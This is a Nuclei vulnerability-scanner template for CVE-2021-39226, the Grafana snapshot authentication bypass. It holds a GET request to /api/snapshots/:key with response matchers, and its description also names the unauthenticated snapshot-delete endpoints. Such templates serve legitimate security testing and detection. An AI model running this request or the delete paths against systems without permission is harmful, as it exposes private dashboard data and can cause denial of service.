nuclei-templates/cves/2021/CVE-2021-39226.yaml

id: CVE-2021-39226

info:
  name: Grafana Snapshot authentication bypass
  author: Evan Rubinstein
  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accesing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accesing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can delete snapshots by accesing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snappshot/:key, regardless of wether or not the snapshot is set to public mode (disabled by default). Make sure you obtain permission before testing the delete functionality, as this can cause a denial of service. As always, ensure that you test your results manually to ensure your findings are good. Happy Hunting!
  reference:
    - https://github.com/advisories/GHSA-69j6-29vr-p3j9
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39226
  severity: critical
  tags: cve,cve2021,grafana
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-39226
    cwe-id: CWE-200

requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/snapshots/:key"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '"isSnapshot":true'